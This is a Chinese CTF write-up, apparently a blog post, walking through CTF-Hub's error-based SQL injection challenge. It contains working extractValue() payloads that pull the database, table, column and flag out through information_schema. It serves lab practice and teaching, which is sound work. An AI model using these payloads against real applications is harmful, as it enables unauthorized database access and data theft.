CTF-Hub SQL 报错注入(纯手动注入)

​

当输入1时,发现只有查询正确,基本上可以判断出没有回显

开始注入(工具hackerBar)

题目是报错注入,方向就比较明显,大致说一下用到的函数和原理。

常见报错注入函数:

  1. 通过 floor() 报错注入
  2. 通过 extractValue() 报错注入
  3. 通过 updateXml() 报错注入
  4. 通过 NAME_Const() 报错注入
  5. 通过 join() 报错注入
  6. 通过 exp() 报错注入

不常见报错注入函数:

  1. 通过 geometryCollection() 报错注入
  2. 通过 polygon() 报错注入
  3. 通过 multipoint() 报错注入
  4. 通过 multlinestring() 报错注入
  5. 通过 multpolygon() 报错注入
  6. 通过 linestring() 报错注入

extractValue() 报错注入

函数 extractValue() 包含两个参数 ,第一个参数是 XML文档对象名称 ,第二个参数是 路径 。

格式:

sql 复制代码
extractvalue(列名,'查询内容路径')

当查询的路径不存在时,,也不会报错:

sql 复制代码
select extractvalue(doc,'/xxx/xxxx/xxxxx') from xml;

但第二个查询路径必须以斜杠(/)开始,否则将引起报错

构造报错 sql 的语句:

sql 复制代码
select extractvalue(doc,'~/xxx/xxxx/xxxxx') from xml;

报错语句:

bash 复制代码
ERROR 2013 (HY000): Lost connection to MySQL server during query
No connection. Trying to reconnect...
Connection id:    97
Current database: dbxx

ERROR 1105 (HY000): XPATH syntax error: '~xxx/xxxx/xxxxx'

原理

在ASCII码表中,0x7e这个十六进制数代表符号,这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法不支持的。 ! 也是不支持的,因此也可以使用。

开始注入(工具hackerBar)

与其他注入其实语句和思路相同,只需要把红字替换成你需要的 sql语句 即可回显

1 and extractValue(1,concat(0x7e,(select database()))) --+

此时已经得到数据库名:sqli

爆表和爆列在上一节已经讲过:

CTF-Hub SQL 字符型注入(纯手动注入)

语句我也贴一下:

爆表:

sql 复制代码
1 and extractValue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1)))  --+

爆列(列名也是 flag):

sql 复制代码
1 and extractValue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1)))  --+

拿到flag:

sql 复制代码
1 and extractValue(1,concat(0x7e,(select flag from flag)))  --+
相关推荐
hengdonghui1 天前
Writeup 4 CTFHub injection
web·ctf·sql注入·整数型联合查询注入(有回显)
hengdonghui2 天前
Writeup 4 CTFHub weakphp
ctf·md5 绕过·.git 源码泄露·php 弱类型比较
hengdonghui4 天前
Writeup 4 ByteMe CTF 2026 The Vormir Ledger
ctf·osint
文章永久免费只为良心5 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
hengdonghui5 天前
Writeup 4 ByteMe CTF 2026 Sacrifice
ctf·forensics
print_Hyon6 天前
【CTF-CRYPTO-教学-RSA】第八节:超大模数n反噬攻击,已知n、e、c求m(n超大,m的e次方仍小于n,c可直接开e次方得到结果)
ctf
其实防守也摸鱼7 天前
CTF Web 6 题全解 Writeup
linux·sql·学习·算法·安全·ctf·xss
hengdonghui8 天前
Writeup 4 N1BOOK 第一章 Web 入门 · 粗心的小李
ctf·.git泄露
hengdonghui10 天前
Writeup 4 N1BOOK afr_2
ctf·目录穿越
print_Hyon11 天前
【CTF-CRYPTO-教学-RSA】第十三节:知道e、p和q的变形表达式,解密c
ctf